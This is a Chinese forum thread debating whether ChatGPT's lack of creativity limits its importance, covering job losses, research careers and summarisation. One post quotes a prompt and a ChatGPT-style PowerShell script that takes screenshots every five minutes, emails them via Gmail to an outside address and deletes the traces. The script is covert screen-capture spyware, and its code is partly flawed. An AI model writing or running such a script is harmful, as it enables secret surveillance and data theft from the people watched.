主题：chatGTP只会复读，不能创新有啥战略意义，还巨大挑战呢？ -- 思想的行者

昧国出了一个新技术 ，西西河一帮人又大呼不得了不得了。

甚至好有人鼓吹什么数据局云云。

当前的人工智能，本河的@陈王奋起 说得不错，目前人工智能还不会最基本的抽象，不会最基本的概括，他只会进行数据处理，得出大概率是正确的回答。

这意味着他只会从已有的回答中找出一个最大概率正确的回答，而不能创造一个全新的回答，即不能创新。

不能创新的东西有多大的意义？

很多人说话语权云云，话语权怎么来的，在于你要有独立判断，不要西方人西方媒体一吹捧你就点头称是。

没有独立判断的人只会被人看不起

没有独立判断的媒体只会被人看不起。

本来不想发主贴，发一个回复发现又要被认可 索性发个主贴吧。

不能创新的东西，只要足够便宜，就可以取代大量的工作岗位，造成失业、死亡和绝户。你回顾一下你的小学同班同学，你可以数出来的，在从事有创造性的工作的名字有一半吗？蒸汽机的出现，曾让无数人失去工作。穷不过三代，那些人由于没有子孙，今天不会有人给他们喊冤。类似的，今天因为AI失去工作的年轻人，大多数将来也不会得到同情。因为他们能够产生后代的概率已经很低了。

蒸汽机不会思考，原子能无法创新，互联网没有自己的思想。。。但是这些东西在人类发展历史上价值几何？

就因为chatGTP创生于西方国家于是就瞪俩眼儿死不认账，想方设法靠不讲理的方式去贬低其价值和意义，这绝不是什么好的习性。倘若社会意识形态被这类病态的东西长期笼罩，于国家，于民族，于每一个国人都将是一种现实的危害。

写报告？

你的下属就通过chatGtp交稿你会满意吗？

没有调查就没有发言权。

一篇真正的报告是要自己进行调查，才能写的，才有的放矢。

还是同样的问题，让你提交一份工作报告，你可以用chatGTP提交，而不是根据自己的工作体会，自己的成绩，自己的教训，自己对推进工作的思考写报告？

美国出个药就是神药，以此类推。

即使是写调查报告，什么是调查？通过互联网调查算不算调查？不需要100%，如果正确率比最差的人工调查正确率高，成本低到10%，绝大多数企业会雇佣AI调查员。以上场景比如一个织袜子的企业，用AI阅读主流网店销售数据生成报告，参考价值不比打电话的人工调查员低。当然，更常用的场景是从100个人，变成五个人，和AI订阅的组合。这还是一般的企业。即使在最重视创新的科学研究领域，博士生、博士后、年轻教师的起码95%的工作量，是非创新工作。清华心理学系主任刘嘉教授在访谈中直言，chatGPT推出后，大部分博士生、博士后（一般性的科研人员）将来是没有前途的。我推测，这种影响会是深远的：那些个别的（假设5%）有创造力的人才，在知道自己选择后果会是95%的淘汰率后，还会选择走上科研道路吗（谁事先知道自己是那5%）？

你说的通过网络进行销量调查不具有多大的可行性。

一般而言，销量数据都是企业机密，不会上传到网上的。

而且通过网络调查销量，这个与chatGTP有啥关系？

理论上讲，任何网络销售数据都已经在网上了。对大众不开放，和对某企业不开放是两码事。比如阿迪达斯完全可以跟京东签协议，对自己开放销售数据。然后基于GPT的AI就可以读取这个数据写报告。

另外，人工智能开发人员中相当一部分人员是（认知）神经科学出身，刘嘉就是mit认知科学系毕业的博士，他本科出自北大心理系，该系编程能力全校第一。我前女友的某个老师是北大心理系毕业的，dos时代自己写硬件驱动，完成刺激设备和数据采集设备的毫秒精度同步。

我这就一段话写个代码给你看看。

用Windows10自带的脚本功能，写一个批处理命令。要求每 5 分钟屏幕截图一次，然后将其保存为图片，再将其压缩为 ZIP 文件，密码为12345，然后使用 Gmail把这个压缩文件发给[email protected]的邮箱，然后删除所有痕迹。

$ZipFile = "C:\Users\user\Desktop\Screenshots\$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').zip"

$Password = ConvertTo-SecureString -String "12345" -Force -AsPlainText

$Credential = New-Object System.Management.Automation.PSCredential("[email protected]", $Password)

Add-Type -AssemblyName System.Windows.Forms

Add-Type -AssemblyName System.Drawing

while ($true) {

$Screenshot = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds

$Bitmap = New-Object System.Drawing.Bitmap $Screenshot.Width, $Screenshot.Height

$Graphics = [System.Drawing.Graphics]::FromImage($Bitmap)

$Graphics.CopyFromScreen($Screenshot.Location, [System.Drawing.Point]::Empty, $Screenshot.Size)

$Bitmap.Save("C:\Users\user\Desktop\Screenshots\$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').png", [System.Drawing.Imaging.ImageFormat]::Png)

Start-Sleep -Seconds 300

if (Test-Path $ZipFile) {

Add-Type -AssemblyName System.IO.Compression.FileSystem

[System.IO.Compression.ZipFile]::CreateFromDirectory("C:\Users\user\Desktop\Screenshots", $ZipFile, [System.IO.Compression.CompressionLevel]::Optimal, $false)

Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Screenshots" -Body "Screenshots" -Attachments $ZipFile -Credential $Credential -SmtpServer "smtp.gmail.com" -Port 587 -UseSsl

Remove-Item "C:\Users\user\Desktop\Screenshots\*.png"

Remove-Item "C:\Users\user\Desktop\Screenshots\*.zip"

}

我甚至一个powershell命令都不懂！

这就是一个随身码农，只要你会问问题!

数量本身就是最大的暴力，全球几亿人在用的随身码农还不够创新？

全球码农加一起有这零头不？

把脚本小子级别的码农数量翻了一百倍的创新算不算创新？

3.5是脚本小子，4.0就是大一学生，以后呢？这人力培养的过来？你打算开多少所大学来量产码农？

还记得第一次工业革命的时候的纺纱机是怎么摧毁土布的？

/

另外，不会最基本的抽象和概括？莫非我用了这么多天的文献概括功能是假的？

怎么用？edge打开文献,然后问它：请概括这篇文章

另外B站现在底下评论区里大片大片的chatgpt自动概括视频内容，这也是假的？b.jimmylv.cn用一下就知道。

比如这个视频：BV1FM411W76K-手搓V2发动机！我为7岁女儿造小摩托

/

整个视频是关于作者为女儿改造三轮车并加装发动机的过程。

这是一个父亲为女儿改造三轮车的故事。

0:05 - 给三轮车装了微型发动机，虽然动力不大，但女儿还是很开心。

0:35 - 父亲和女儿一起骑着三轮车唱歌，很有趣。

0:52 - 自己设计并制造了发动机，因为三轮车空间太有限了。

1:33 - 他找不到适合的发动机，只能自己设计，自己制造。

3:46 - 作者骑着三轮车在田野里奔跑，很自由。

6:09 - 作者在回老家后，把自己小时候的玩具改造成孩子们喜欢的样子，很有意义。

7:11 - 作者以后会分享更多手工作品，希望大家喜欢。

7:24 - 作者很开心能够利用空闲时间陪伴孩子们，也希望其他父母能够多陪伴孩子。

/

麻烦抬头看看未来吧。

世界上没有人能想到的，他想到了，这才叫创新。你说的这些，人不仅能想到，还能做到，不过是成本高点而已。

你们两个理解的都有偏差：一个夸大，一个缩小。

举例而言，此前昧国政府要求台积电三星等等对其公布销售数据，就引来一阵反对声。

请依据几千万次合金材料（橡胶材料）实验报告建立材料性能模型、公式或者像元素周期表那样的表格。

chatGTP还远不够格。

从人工智能围棋打倒九段棋手开始，人类就该惊醒了。

最后的哲学——相对主义（草一）2006年